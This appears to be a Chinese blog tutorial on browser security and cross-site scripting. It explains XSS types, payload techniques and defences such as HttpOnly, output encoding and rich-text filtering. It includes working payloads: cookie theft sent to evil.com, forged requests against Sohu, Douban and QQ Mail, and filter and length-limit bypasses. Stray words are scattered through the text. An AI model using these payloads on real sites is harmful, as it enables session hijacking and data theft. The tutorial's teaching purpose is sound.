同源策略
影響源的因素:host,子域名,端口,協議
a.com經過如下代碼:javascript
<script scr=http://b.com/b.js>php
加載了b.com上的b.js,可是b.js是運行在a.com頁面中的,所以相對於當前打開的頁面(a.com)來講,b.js的源就應該是a.com而非b.com
不一樣於XMLHttpRequest的是,經過src屬性加載的資源,瀏覽器限制了JavaScript的權限,使其不能讀、寫返回的內容。
XMLHttpRequest不能跨域訪問資源。可是有跨域請求的需求,所以W3C指定了XMLHttpRequest的跨域訪問標準。它須要經過目標域返回的Http頭來受權是否容許跨域訪問,所以HTTP頭對於JavaScript來講通常是沒法控制的,因此認爲這個方案是可行的。注意:這個跨域訪問方案的安全基礎就是信任「Javascript沒法控制該HTTP頭」,若是此信任基礎被打破,則此方案也就再也不安全。css
瀏覽器沙箱
每一個單獨的頁面是一個進程。瀏覽器加載的第三方插件如Flash、Java、PDF、.NET Framework都成爲了被攻擊熱點。html
惡意網址攔截
瀏覽器使用黑名單策略來警告用戶。常見的惡意網址分爲兩類:
一、掛馬網站,一般包含惡意的Javascript或Flash,經過利用瀏覽器的漏洞,執行shellcode,在電腦中植入木馬
二、釣魚網站:模仿知名網站的類似頁面前端
高速發展的瀏覽器安全java
Cross Site Script,由於和CSS重名,因此更名XSSweb
一般指黑客經過「HTML注入」纂改了頁面,插入了惡意的腳本,從而在用戶瀏覽頁面時,控制用戶瀏覽器的一種攻擊。在一開始,這種攻擊的演示案例是跨域的,因此叫「跨站腳本」。可是發展到今天,因爲Javascript的強大功能以及網站前端應用的複雜化,是否跨域已經再也不重要。可是因爲歷史緣由,這個名字保留了下來。
假設一個頁面把用戶輸入的參數輸出到頁面上:ajax
1 <?php 2 $input=$_GET["param"]; 3 echo "<div>".$input."</div>"; 4 ?>
若是提交一段HTML代碼:chrome
會發現alert(/xss/)被執行了。
XSS分爲如下幾類:
1)反射型XSS: 就如上面的例子,也就是黑客須要誘使用戶點擊連接。也叫做」非持久型XSS「(Non-persistent XSS)
2)存儲型XSS:把用戶輸入的數據」存儲「在服務器端。這種XSS具備很強的穩定性。
比較常見的一個場景是,黑客寫下一篇包含惡意Javascript代碼的博客文章,文章發表後,全部訪問該博客文章的用戶,都會在他們的瀏覽器中執行這段惡意的Javascript代碼。黑客把惡意的腳本保存在服務器端,因此中XSS攻擊就叫作」存儲型XSS」。
3)DOM based XSS:也是一種反射型XSS,因爲歷史緣由被單獨列出來了。經過修改頁面的DOM節點造成的XSS,稱之爲DOM Based XSS。
看以下代碼:
1 <script> 2 function test(){ 3 var str=document.getElementById("text").value; 4 document.getElementById("t").innerHTML="<a href='http://cracer.com/blog/"+str+"' >testLink</a>"; 5 } 6 </script> 7 <div id="t"></div> 8 <input type="text" id="text" value="" /> 9 <input type="button" id="s" value="write" onlick="test()" />
這段代碼的做用就是點擊write按鈕後在當前頁面插入一個連接。
構造以下數據:
’ onclick=alert(/xss/) //
輸入後,頁面代碼就成了
首先用一個單引號閉合掉href
的第一個單引號,而後插入一個onclick
事件,最後再用註釋符//
註釋掉第二個單引號。
實際上,這裏還有另一種利用方式—除了構造一個新事件外,還能夠選擇閉合掉<a>
標籤,並插入一個新的HTML標籤。嘗試以下輸入:
'><img scr=# onerror=alert(/xss2/) /><'
頁面代碼編程
<a href='http://cracer.com/blog/'><img scr=# onerror=alert(/xss2/) /><''>testLink</a>.
初探XSS Payload
XSS Payload就是JavaScript腳本(還能夠是Flash或其餘富客戶端的腳本),因此任何Javascript腳本能作到的事情,XSS Payload都能作到。
一個最多見的XSS Payload就是讀取瀏覽器的Cookie對象,從而發起」Cookie劫持」攻擊。
Cookie中通常加密保存了當前用戶的登陸憑證。Cookie若是丟失,每每意味着用戶的登陸憑證丟失。換句話說,攻擊者能夠不用經過密碼,而直接登陸進用戶的帳戶。
以下所示,攻擊者先加載一個遠程腳本:
http://www.a.com/test.htm?abc=「><script scr=http://www.evil.com/evil.js ></script>
真正的XSS Payload如今這個遠程腳本中,避免直接在URL的參數裏寫入大量的JavaScript代碼。
在evil.js中,能夠經過以下代碼竊取Cookie:
var img=document.createElement("img"); img.src="http://www.evil.com/log?"+escape(document.cookie); document.body.appendChild(img);
這段代碼在頁面中插入了一張看不見的圖片,同時把document.cookie對象做爲參數發送到遠程服務器。
事實上,http://www.evil.com/log 並不必定要存在,由於這個請求會在遠程服務器的Web日誌中留下記錄 。
這樣就完成了一個最簡單的竊取Cookie的XSS Payload。
黑客能夠用這個Cookie直接登陸。
防止:Cookie的「HttpOnly」標識能夠防止」Cookie劫持」,咱們將在稍後的章節中在具體介紹。
強大的XSS Payload
構造Get與Post請求:例如在Sohu上有一篇文章, 想經過XSS刪除它,該如何作呢?
假設Sohu博客所在域的某頁面存在XSS漏洞,那麼經過JavaScript,這個過程以下:
正常刪除該文章的連接是:http://blog.sohu.com/manage/entry.do?m=delete&id=156713012
對於攻擊者來講,只須要直到文章的id,就可以經過這個請求刪除這篇文章了。
攻擊者能夠經過插入一張圖片來發起一個get請求:
var img=document.createElement("img"); img.scr="http://blog.sohu.com/manage/entry.do?m=delete&id=156713012"; document.body.appendChild(img);
攻擊者只須要讓博客的做者執行這段JavaScript代碼(XSS Payload),就會把這篇文章刪除。在具體攻擊中,攻擊者將經過XSS誘使用戶執行XSS Payload。
再看一個複雜點的例子。若是網站應用者接受POST請求,那麼攻擊者如何實施XSS攻擊呢?
下例是Douban的一處表單。攻擊者將經過Javascript發出一個post請求,提交此表單,最終發出一條新的消息。
1 var f=document.createElement("form"); 2 f.action=""; 3 f.method="post"; 4 document.body.appendChild(f); 5 var i1=document.createElement("input"); 6 i1.name=" ck"; 7 i1.value=" JiuY"; 8 f.appendChild(i1); 9 var i2=document.createElement("input"); 10 i2.name=" mb_text"; 11 i2.value="testtestseset"; 12 f.appendChild(i2); 13 f.submit();
若是表單參數不少的話,經過構造DOM的方式,代碼將會很冗長。因此能夠直接寫HTML代碼:
var dd=document.createElement("div"); document.body.appendChild(dd); dd.innerHTML='<form action="" method="post" id="xssform" name="mbform">'+ '<input type="hidden" name="ck" value="JiuY" />'+ '<input type="hidden" name="mb_text" value="testetst" />' + '</form>' document.getElementById("xssform").submit();
第二種方法是,經過XMLHttpRequest發送一個POST請求:
1 var url = "http://www.douban.com"; 2 var postStr = "ck=JiuY&mb_text=test1234"; 3 var ajax = null; 4 if (window.XMLHttpRequest) { 5 ajax = new XMLHttpRequest(); 6 } else if (window.ActiveXObject) { 7 ajax = new ActiveXObject("Microsoft.XMLHTTP"); 8 } else { 9 return; 10 } 11 ajax.open("POST", url, true); 12 ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); 13 ajax.send(postStr); 14 ajax.onreadystatechange = function() { 15 if (ajax.readyState == 4 && ajax.status == 200) { 16 alert("Done"); 17 } 18 }
經過這個例子能夠看出,使用Javascript模擬提交表單並非一件困難的事情.
下面的例子將演示如何經過XSS Payload讀取QMail用戶的郵件文件夾:
首先看看正常的請求是如何獲取到全部的郵件列表的。登陸郵箱後,點擊「收件箱」後。抓包發現瀏覽器發出了以下請求:
http://m57.mail.qq.com/cgi-bing/mail_list?sid=6a1hx3p5yzh…&folderid=1&page=0&s=index&loc=folderlist,,,1
通過分析,真正能訪問到郵件列表的連接是:
http://m57.mail.qq.com/cgi-bin/mail_list?folderid=1&page=0&s=inbox&sid=6a1hx…
這裏有一個沒法直接構造出的值:sid。從字面推測,這個sid參數應該是用戶ID加密後的值。
因此XSS Payload的思路是先獲取到sid的值,而後構造完整的URL,並使用XMLHttpRequest請求到此URL,應該就能獲得郵件列表了。XSS Payload以下:
1 if (top.window.location.href.indexOf("sid=") > 0) { 2 var sid = top.window..location.href.substr(top.window.location.href.indexOf("sid=") + 4, 24); 3 } 4 var folder_url = "http://" + top.window.location.host + "/cgi-bin/mail_list?folderid=1&page=0&s=inbox&sid=" + sid; 5 var ajax = null; 6 if (window.XMLHttpRequest) { 7 ajax = new XMLHttpRequest(); 8 } else if (window.ActiveXObject) { 9 ajax = new ActiveXObject("Microsoft.XMLHTTP"); 10 } else { 11 return; 12 } 13 ajax.open("GET", folder_url, true); 14 ajax.send(null); 15 ajax.onreadystatechange = function() { 16 if (ajax.readyState == 4 && ajax.status == 200) { 17 alert(ajax.responseText); 18 //document.write(ajax.responseText); 19 } 20 }
郵件列表的內容成功被XSS Payload獲取到。
釣魚:
XSS並不是萬能。前面的例子都是Javascript腳本,缺乏」與用戶的交互」,碰到驗證碼,和修改密碼時須要輸入舊密碼,XSS Payload就會失效。
對於驗證碼,XSS Payload能夠讀取頁面的內容,將驗證碼的圖片URL發送到遠程服務器上來實施–攻擊者能夠在遠程XSS後臺接收當前驗證碼,並將驗證碼的值返回給當前的XSS Payload
從而繞過驗證碼。
修改密碼的問題比較複雜,爲了竊取密碼,攻擊者能夠將XSS與」釣魚」結合。
實現思路很簡單:利用Javascript在當前頁面上」畫出」一個僞造的登陸框,當用戶在登陸框中輸入用戶名和密碼後,其密碼將被髮送到黑客的服務器上。
識別用戶瀏覽器:
navigator.userAgent
可是userAgent是能夠僞造的。這個信息不必定準確。
因爲瀏覽器之間的實現存在差別,利用這種差別分辨瀏覽器幾乎不會錯誤。
參考:
1 if (window.ActiveObject) { 2 //MSIE 6.0 or below 3 //判斷是否IE 7以上 4 if (document.documentElement && typeof document.documentElement.style.maxHeight != "undefined") { 5 if (typeof document.adoptNode != "undefined") { //Safari 3 & FF & Opera & Chrome & IE8 6 //MSIE 8.0 7 } 8 //MSIE 7.0 9 } 10 return "msie"; //MSIE6.0 11 } else if { 12 typeof window.opera != "undefined") { //Opera獨佔 13 return "opera"; 14 } else if (typeof window.netscape != "undefined") { //Mozilla獨佔 15 if (typeof window.Iterator != "undefined") { 16 //Firefox 2.0以上支持這個對象 17 if (typeof document.styleSheetSets != "undefined") { //FireFox 3 & Opera 9 18 //Firefox 3 19 } 20 //Firefox 2.0 21 } 22 return "mozilla"; 23 } else if (typeof window.pageXOffset != "undefined") { //Mozilla & Safari 24 try { 25 if (typeof external.AddSearchProvider != "undefined") { //Firefox & Google Chrome 26 return "Chrome"; 27 } 28 } catch(e) { 29 return "safari"; 30 } 31 } else { //unknown 32 return "unknown"; 33 }
識別用戶安裝的軟件:
在IE中,能夠經過判斷ActiveX控件的classid是否存在,來推測用戶是否安裝了該軟件。這種方法很早就被用於「掛馬攻擊」–黑客經過判斷用戶安裝的軟件,選擇對應的瀏覽器漏洞,最終達到
入木馬的目的。
看以下代碼:
try { var Obj=new ActiveXObject('XunLeiBHO.ThunderIEHelper'); } catch (e){ //異常了,不存在該控件 }
經過收集常見軟件的classid,就能夠掃描出用戶電腦中安裝的軟件列表,甚至包括軟件的版本。
一些第三方軟件也可能會泄漏一些信息。好比Flash有一個system.capabilities對象,可以查詢客戶端電腦中的硬件信息。
在XSS Payload中,能夠在Flash的ActionScript中讀取system.capabilities對象後,將結果經過ExternalInterface傳給頁面的javascript。
瀏覽器的擴展和插件也能被XSS Payload掃描出來。好比對於Firefox的插件和擴展,有着不一樣的檢測方法。
Firefox的插件(Plugins)列表存放在一個DOM對象中,經過查詢DOM能夠遍歷出全部的插件:
因此直接查詢」navigator.plugins」對象,就能找到全部的插件了。例如 navigator.plugins[0]
而Chrome的擴展(Extension)要複雜一些。有安全研究者想出了一個方法:經過檢測擴展的圖標,來判斷某個特定的擴展是否存在。
在Chrome中有一個特殊的協議: chrome:// ,Chrome的擴展圖標能夠經過這個協議被訪問到。好比Flash Got擴展的圖標,能夠這樣訪問:
chrome://flashgot/skin/icon32.png
掃描Chrome擴展時,只需在Javascript中加載這張圖片,若是加載成功,則擴展存在;反之,擴展就不存在
1 var m = new Image(); 2 m.onload = function() { 3 alert(1); //圖片存在 4 }; 5 m.onerror = function() { 6 alert(2); //圖片不存在 7 }; 8 m.src = "chrome://flashgot/skin/icon32.png"; //鏈接圖片
CSS History Hack:
咱們再看看另一個有趣的XSS Payload—經過CSS,來發現一個用戶曾經訪問過的網站。
原理是利用style的visited桑性—若是用戶曾經訪問過某個連接,那麼這個連接的顏色會變的不同凡響。
1 < script > 2 var websites = [...要檢測的訪問過的網址列表,可能有幾千個...]; 3 //遍歷每一個URL 4 for (var i = 0; i < websites.length: i++) { 5 var link = document.createElement("a"); 6 link.id = "id" + i; 7 link.href = websites[i]; 8 link.innerHTML = websites[i]; 9 document.write('<style>'); 10 document.write('#id' + i + ":visited {color:#FF0000;}"); 11 document.write('</style>'); 12 document.body.appendChild(link); 13 var color = document.defaultView.getComputedStyle(link, null).getPropertyValue("color"); 14 document.body.removeChild(link); 15 if (color == "rgb(255,0,0)") { //visited 16 var item = document.createElement('li'); 17 item.appendChild(link); 18 document.getElementById('visited').appendChild(item); 19 } else { //Not visited 20 var item = document.createElement('li'); 21 item.appendChild(link); 22 document.getElementById('notvisited').appendChild(item); 23 } 24 } < /script>/
可是Firefox已經決定修補這個問題
獲取用戶的真實IP地址:
不少時候,用戶電腦的IP地址隱藏在代理服務器或NAT的後面。
javascript自己並無獲取本地IP地址的能力。通常須要第三方軟件來完成。好比,客戶端安裝了Java環境(JRE),那麼XSS就能夠經過調用Java Applet的接口獲取客戶端的本地IP地址。
在XSS攻擊框架」Attack API」中,就有一個獲取本地IP地址的API:
1 AttackAPI.dom.getInternalIP = function() { 2 try { 3 var sock = new java.net.Socket(); 4 sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0)); 5 sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port) ? 80 : document.location.port)); 6 return sock.getLocalAddress().getHostAddress(); 7 } catch(e) {} 8 return '127.0.0.1'; 9 };
此外,還有兩個利用Java獲取本地網絡信息的API:
XSS Payload如此強大,爲了使用方便,有安全研究者將許多功能封裝起來,成爲XSS攻擊平臺。這些攻擊平臺的主要目的是爲了演示XSS的危害,以及方便滲透測試使用。
Attack API: Attack API是安全研究者pdp所主導的一個項目,他總結了不少可以直接使用的XSS Payload,概括爲API的方式。
BeFF:曾經是最好的XSS演示平臺。其所演示的是一個完整的XSS攻擊過程。
XSS-Proxy:是一個輕量級的XSS攻擊平臺,經過嵌套iFrame的方式能夠實時地遠程控制被XS攻擊的瀏覽器。
這些XSS攻擊平臺有助於深刻理解XSS的原理和危害。
Samy Worm:
2005年,年僅19歲的Samy Kamkar發起了對MySpace.com的XSS Worm攻擊。
MySpace過濾了不少危險的HTML標籤,只保留了<a>
標籤、<img>
標籤、<div>
標籤等」安全的標籤」.並過濾了全部的事件,例如」onclick」。可是MySpace卻容許用戶控制標籤的Style屬性,通
style,仍是有辦法構造出XSS的。好比:
<div style="background:url('javascript:alert(1)')">
其次,MySpace同時還過濾了」javascript」、」onreadystatechange」等敏感詞,因此Samy用了「拆分法」繞過這些限制。
最後Samy經過Ajax構造的Post請求,完成了在用戶的heros列表裏添加本身名字的功能;同事複製蠕蟲自身進行傳播。至此,XSS Worm就完成了。
具體代碼太長。。。
可是發起XSS Worm攻擊是有必定的條件的:
通常來講,用戶之間發生交互行爲的頁面,若是存在存儲性XSS,則比較容易發起XSS Worm攻擊。
好比發送站內信、用戶留言等頁面,都是XSS Worm的高發區,須要重點關注。而相對的,若是一個頁面只能由用戶我的查看,好比」用戶我的資料設置」頁面,由於缺少用戶之間互動的功能
因此即便存在XSS,也不能被用於XSS Worm的傳播。
百度空間蠕蟲:
調試Javascript:
要想寫好XSS Payload,須要有很好的Javascript功底,調試javascript是必不可少的技能。
Firebug …
利用字符編碼:
「百度搜藏」曾經出現過一個這樣的XSS漏洞。百度在一個<script>標籤中輸出了一個變量,其中轉義了雙引號: var redirectUrl="\";alert(/xss/);";
通常來講,這裏是沒有XSS漏洞的,由於變量處於雙引號以內,系統轉義了雙引號致使變量沒法escape。
可是百度的返回頁面是GBK/GB2312編碼的,所以」%c1\」這兩個字符組合在一塊兒後,會成爲一個Unicode字符。在Firefox下會認爲這是一個字符,因此構造: %c1";alert(/xss/);//
並提交: var rediretUrl="?";alert(2);//";
這兩個字節:"%c1\"
組成了一個新的Unicode字符,%c1
把轉義符"\"
給」吃掉了」,從而繞過了系統的安全檢查,成功地實施了XSS攻擊。
繞過長度限制:
不少時候,產生XSS的地方會有變量的長度限制,這個限制多是服務器端邏輯形成的。
假設下面代碼存在一個XSS漏洞: <input type=text value="$var" />
服務器端對輸出變量$var作了嚴格的長度限制,那麼攻擊者可能會這樣構造XSS: $var
爲 "><script>alert(/xss/)</script>
但願達到的輸出效果是: <input type=text value=""><script>alert(/xss/)</script>" />
假設長度限制爲20個字節,則這段XSS會被切割爲: $var
輸出爲: "><script>alert(/xss
連一個完整的函數都沒法寫完。
攻擊者能夠利用時間(Event)來縮短所須要的字節數: $var
輸出爲"onclick=alert(1)//
加上空格符,恰好夠20個字節
但利用「事件」可以縮短的字節數是有限的。最好的辦法是先把XSS Payload寫在別處,再經過簡短的代碼加載這段XSS Payload。
最經常使用的一個「藏代碼」的地方,就是「location.hash」。並且根據HTTP協議,location.hash的內容不會在HTTP包中發送,因此服務器端的Web日誌中並不會記錄下location.hash裏的內容,從而
更好地隱藏了黑客真實的意圖。 $var
輸出爲onclick="eval(location.hash.substr(1))"
總共40個字節。輸出後的HTML是: <input type=text value="" onclick="eval(location.hash.substr(1)) " />
由於location.hash的第一個字符是#,因此必須去除第一個字符才行。此時構造出的XSS URL爲:
http://www.a.com/test.html#alert(1)
用戶點擊文本框時,location.hash裏的代碼就執行了.
location.hash自己沒有長度限制,可是瀏覽器的地址欄是有長度限制的,不過這個長度已經足夠寫很長的XSS Payload了。要是地址欄的長度也不夠用,還能夠再使用加載遠程JS的方法,來
更多的代碼。
在某些環境下,能夠利用註釋符繞過長度限制。
好比咱們能控制兩個文本框,第二個文本框容許寫入更多的字節。此時能夠利用HTML的」註釋符號「,把兩個文本框之間的HTML代碼全註釋掉,從而」打通「兩個<input>
標籤。
<input id=1 type="text" value="" />
xxxxx
<input id=2 type="text" value="" />
在第一個input框中,輸入:"><!--
在第二個input框中,輸入:--><script>alert(/xss/);</script>
最終的效果是:
<input id=1 type="text" value=""><!-- />
xxxxx
<input id=2 type="text" value="--><script>alert(/xss/);</script>" />
中間的代碼前部被<!-- -->
註釋掉了。
使用<base>
標籤: <base>
標籤是定義全部使用」相對路徑」標籤的hosting地址
例如:
<body> <base href="http://www/google.com" /> <img scr="/int1/...png" /> </body>
須要注意的是<base>
標籤能夠出如今頁面的任何地方,並做用於該標籤以後的全部標籤。
攻擊者若是在頁面中插入了<base>
標籤,就能夠經過在遠程服務器上僞造圖片、連接或腳本,劫持當前頁面中的全部使用」相對路徑「的標籤。好比:
<base href="http://www.evil.com" />
...
<script src="http://cracer.com/blog/x.js">
...
<img scr="y.jpg" />
...
<a href="http://cracer.com/blog/auth.do"> auth</a>
因此在設計XSS安全方案時,必定要過濾掉這個很是危險的標籤。
window.name的妙用:
window.name對象是一個很神奇的東西,對當前的window.name對象賦值,沒有特殊字符的限制。由於window對象是瀏覽器的窗體,而並不是document對象,所以不少時候window對象不受同
策略的限制。攻擊者利用這個對象,能夠實現跨域、跨頁面傳遞數據。在某些環境下,這種特性將變得很是有用。
參考如下案例:
www.a.com/test.html的代碼爲:
<body> <script> window.name="test"; alert(document.domain+" "+window.name); window.location="http://www.b.com/test1.html"; </script> </body>
這段代碼將window.name賦值爲test,而後顯示當前域和window.name的值,最後頁面跳轉到www.b.com/test1.html。
www.b.com/test1.html的代碼爲:
<body> <script> alert(document.domain+" "+window.name); </script> </body>
這個過程實現了數據的跨域傳遞:」test」這個值從www.a.com傳遞到www.b.com
使用window.name能夠縮短XSS Payload的長度,以下所示:
<script> window.name="alert(document.cookie)"; location.href="http://www.xssedsite.com/xssed.php"; </script>
在統一窗口打開XSS的站點後,只需經過XSS執行如下代碼便可:
eval(name);
只有11個字節,短到了極點。
這個技巧爲安全研究者luoluo發現,同時他還整理了不少繞過XSS長度限制的技巧。
變廢爲寶:Mission Impossible
從XSS漏洞利用的角度來看,存儲型XSS對攻擊者的用處比反射型XSS要大。而有的XSS漏洞被認爲只可以攻擊本身,屬於」雞肋」漏洞。但隨着時間的推移,數個曾經被認爲是沒法利用的
洞,都被人找到了利用方法:
a)Apache Expect Header XSS:
b)Anehta的迴旋鏢:
容易被忽視的角落:Flash XSS
前面降到的XSS攻擊都是基於HTML的,其實在Flash中一樣也有可能形成XSS攻擊。
在Flash中是能夠嵌入ActionScript腳本的。一個最多見的Flash XSS能夠這樣寫:
getURL(「javascript:alert(document.cookie)」)
ActionScript是一種很是強大和靈活的腳本,甚至可使用它來發起網絡鏈接,所以應該儘量地阻止用戶可以上傳和加載自定義的Flash文件。
因爲Flash文件如此危險,因此在實現XSS Filter時,通常都會禁用、等標籤。後者甚至能夠加載ActiveX控件,產生更爲嚴重的後果。
嵌入FLash的腳本重要的參數有allowScriptAccess(推薦值never)、allowNetworking(建議值none或者internal)。
Flash XSS每每被忽視,由於其問題出如今編譯後的Flash文件中。
真的高枕無憂嗎?Javascript開發框架
jQuery自己出現的漏洞較少,可是開發者的意識才是安全編碼的關鍵。
例如$(‘div.demo-container’).html(「」);
若是用戶可控制輸入,那麼XSS產生是必然的。
瀏覽器將禁止頁面的Javascript訪問帶有HttpOnly屬性的Cookie。是爲了解決劫持Cookie攻擊。由於Javascript獲取不到Cookie的值。
C#中設置HttpOnly的方法:
HttpCookie myCookie=new HttpCookie(「myCookie」);
myCookie.HttpOnly=true;
Response.AppendCookie(myCookie);
常見的Web漏洞如XSS、SQL諸如等,都要求攻擊者構造一些特殊字符,這些特殊字符多是正經常使用戶不會用到的,因此輸入檢查就有存在的必要了。
例如,用戶名可能會被要求只能爲字母、數字的組合。
輸入檢查的邏輯應該放在服務器端,不然很容易被繞過。目前的廣泛作法是在客戶端和服務器端都執行檢查。
在XSS的防護上,輸入檢查通常是檢查用戶輸入的數據中是否包含一些特殊字符,如< > ’ 「等。若是發現,則將這些字符過濾掉或編碼。
比較智能的還會檢查<script> javascript等敏感字符,網上有不少XSS Filter資源。但由於XSS Filter對語境不瞭解,有時不能檢查出XSS攻擊。
通常來講,除了富文本的輸出外,在變量輸出到HTML頁面時,可使用編碼或者轉移的方式來防護XSS攻擊。
安全的編碼函數:
針對HTML代碼的編碼方式是HtmlEncode。
HtmlEncode並不是專用名詞,它只是一種函數體現。它的做用是將字符轉換成HTMLEntities,對應的標準是ISO-8859-1。
對了對抗XSS,在HtmlEncode中至少要轉換如下字符: & => & < =>< > " ' /
相應地,Javascript的編碼方式可使用JavascriptEncode。
JavascriptEncode與HtmlEncode的編碼方法不一樣,他須要使用\對特殊字符進行轉義。在對抗CSS時,還要求輸出的變量必須在引號內部,以免形成安全問題。比較下面兩種寫法: var x=escapeJavascript($evil);
var y='"'+escapeJavascript($evil)+'"';
若是escapeJavascript函數只轉義了幾個危險字符,好比’ 」 < > \ & #等,那麼上面的兩行代碼輸出後可能變成: var x=1;alert(2);
var y="1;alert(2)";
因此要求使用JavascriptEncode的變量輸出必定要在引號內。
可視不少開發者沒有這個習慣怎麼辦?這將只能使用一個更加嚴格的JavascriptEncode函數–除了數字、字母外的全部字符,都使用十六進制」\xHH」的方式進行編碼。在本例中: var x=1;alert(2);
變成了: var x=1\x3balert\x282\x29;
如此代碼能夠保證是安全的。
只需一種編碼嗎?
XSS攻擊主要發生在MVC架構中的View層。大部分的XSS漏洞能夠在模版系統中解決。
不是使用了auto-escape就萬事大吉了,XSS的防護須要區分狀況對待。
XSS的本質仍是一種」HTML注入」。
想要根治XSS,能夠列出全部XSS可能發生的場景,在一一解決。
在HTML標籤中輸出:如
<div>$var</div>
<a href=# >$var</a>
這樣能夠構造出:
<div><script>alert(/xss/)</script></div>
<a href=#><img scr=# onerror=alert(1) /></a>
防護方法是對變量使用HtmlEncode。
在HTML屬性中輸出:如
<div id="abc" name="$var" ></div>
能夠構造出:
<div id="abc" name=""><script>alert(/xss/)</script><"" ></div>
防護方法也是HtmlEncode。在OWASP ESAPI中推薦了一種更嚴格的HtmlEncode–除了字母、數字外,其餘全部的字符都被編碼成HTMLEntities。 String sfa=ESAPI.encoder().encodeForHTMLAttribute(request.getParameter("input")];
這種嚴格的編碼方式,能夠保證不會出現任何安全問題。
在<script>標籤中輸出:如
<script>
var x="$var";
</script>
能夠構造出:
<script>
var x="";alert(/xss/);//";
</script>
防護時也是使用JavascriptEncode
在事件中輸出:如 <a href=# onclick="funcA('$var')" >test</a>
能夠構造出: <a href=# onclick="funcA('');alert(/xss/);//')" >test</a>
在防護時須要使用JavascriptEncode
在CSS中輸出:
在CSS和style、style attribute中造成的XSS的方式很是多樣化,參考下面幾個XSS的例子。
<STYLE>@import 'http://ha.ckers.org/xss.css';
<STYLE>BODY {-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}
<XSS STYLE="behavior:url(xss.htc);">
<STYLE>li {list-style-image:url("javascript:alert('XSS')");} </STYLE><UIL><LI>XSS
<DIV STYLE="background-image:url(javascript:alert('XSS'))">
<DIV STYLE="width:expression(alert('XSS'));">
因此通常來講,儘量地禁止用戶可控制的變量在」<style>
標籤」、」HTML標籤的style屬性」以及」CSS文件」中輸出。若是必定有這樣的需求,推薦使用OWASP ESAPI中的encodeForCSS()
數。相似於ESAPI.encoder().encodeForJavaScript()函數。
在地址中輸出:
在地址中輸出也較爲複雜。通常來講,在URL的path(路徑)或者search(參數)中輸出,使用URLEncode便可。
例如: <a href="http://www.evil.com/?test=$var" >test</a>
可能的攻擊辦法: <a href="http://www.evil.com/?test=" onclick=alert(1)"" >test</a>
通過URLEncode後就能夠防護。
可是還有一種狀況,就是整個URL都可以被用戶徹底控制。這時URL的協議和Host部分是不可以使用URLEncode的,不然會改變URL的語義。
一個URL的組成以下: [Protocol][host][Path][search][Hash]
如 http://www.evil.com/a/b/c/test?abc=123#ssss
protocol="http://"
host=www.evil.com
search="?abc=123"
hash=#ssss
在Protocol和host中,若是使用嚴格的URLEncode函數,則會把」://
「、」.
「等都編碼掉。
對於以下的輸出方式: <a href="http://cracer.com/blog/$var" >test</a>
攻擊者可能會構造: <a href="javascript:alert(1);">test</a>
除了「JavaScript做爲僞協議能夠執行代碼外,還有VBScript、dataURI等僞協議可能致使腳本執行。
因而可知,若是用戶可以徹底控制URL,則能夠執行腳本的方式有不少,如何解決這種狀況呢?
通常來講,若是變量是整個URl,則應該首先檢查變量是不是以Http開頭,若是不是則自動添加,以保證不會出現僞協議類的XSS攻擊。
在此以後再對變量進行URLEncode,便可保證不會有此類的XSS發生了。
OWASP ESAPI中有一個URLEncode的實現:
ESAPI.encoder().encodeForURL
有些時候,網站須要容許用戶提交一些自定義的HTML代碼,稱之爲」富文本」。好比,一個用戶在論壇裏發帖,帖子裏的內容裏要有圖片、視頻、表格等,這些「富文本」的效果都須要經過HTM
代碼來實現。
如何區分安全的「富文本」和有攻擊性的XSS呢?
在處理富文本時,仍是要回到」輸入檢查」的思路上來。」輸入檢查「的主要功能是,在檢查時還不知道變量的輸出語境。但用戶提交的」富文本「數據,其語義是完整的HTML代碼,在輸出時也不
拼湊到某個標籤的屬性中。所以能夠特殊狀況特殊處理。
在上一節中,列出了全部在HTML中可能執行腳本的地方。而一個優秀的」XSS Filter「,也應該可以找出HTML代碼中全部可能執行腳本的地方。
HTML是一種結構化的語言,比較好分析。經過htmlparser能夠解析出HTML代碼的標籤、標籤屬性和事件。
在過濾富文本時,」事件「應該被嚴格禁止,由於」富文本「的展現需求裏不該該包括」事件「這種動態效果。而一些危險的標籤,好比<iframe>、<script>、<base>、<form>
等,也是應該嚴格禁
的。
在標籤的選擇上,應該使用白名單,避免使用黑名單。好比,只容許<a>、<img>、<div>
等比較」安全「的標籤存在。
」白名單「原則不只僅用於標籤的選擇,一樣應該用於屬性與事件的選擇。
在富文本過濾中,處理CSS也是一件麻煩的事情。若是容許用戶自定義的CSS、style,則也可能致使XSS攻擊。所以儘量地禁止用戶自定義CSS與Style。
若是必定要容許用戶自定義樣式,則只能像過濾」富文本「同樣過濾」CSS「。這須要一個CSS Parser對樣式進行智能分析,檢查其中是否包含危險代碼。
有一些比較成熟的開源項目,實現了對富文本的XSS檢查。
Anti-Samy是OWASP上的一個開源項目,也是目前最好的XSS Filter。最先它是基於Java的,如今已經擴展到.NET等語言。
DOM Based XSS是一種比較特別的XSS漏洞,前文提到的幾種防護方法都不太適用,須要特別對待。
DOM Based XSS是如何造成的呢?回頭看看這個例子:
<script> function test(){ var str=document.getElementById("text").value; document.getElementById("t").innerHTML="<a href='http://cracer.com/blog/"+str+"' >testLink</a>"; } </script> <div id="t"></div> <input type="text" id="text" value="" /> <input type="button" id="s" value="write" oncick="test()" />
在button的onclick事件中,執行了test()函數,而該函數中最關鍵的一句是: document.getElementById("t").innerHTML="<a href='http://cracer.com/blog/"+str+"' >testLink</a>";
將HTML代碼寫入了DOM節點,最後致使了XSS的發生。
事實上,DOM Based XSS是從Javascript中輸出數據到HTML頁面中。而前文提到的方法都是針對」從服務器應用直接輸出到HTML頁面」的XSS漏洞,所以並不適用於DOM Based XSS。
看看下面這個例子:
<script> var x="$var"; document.write("<a href='http://cracer.com/blog/"+x+"' >test</a>"); </script>
變量$var
輸出在<script>
標籤內,但是最後又被document.write輸出到HTML頁面中。
假設爲了保護$var
直接在<script>
標籤內產生XSS,服務器端對齊進行了JavascriptEscape。但是$var在document.write時,仍然可以產生XSS,以下所示:
<script> var x="\x20\x27onlick\x3dalert\x281\x29\x3b..."; document.write("test"); </script>
頁面渲染以後的實際結果以下:
XSS攻擊成功。
其緣由在於,第一次執行JavascriptEscape後,只保護了: var x="$var";
可是當document.write輸出數據到HTML頁面時,瀏覽器從新渲染了頁面。在<script>標籤執行時,已經對變量x進行了解碼,其後document.write再運行時,其參數就變成了: <a href='http://cracer.com/blog/ 'onclick=alert(1);//' ' >test</a>
XSS所以而產生。
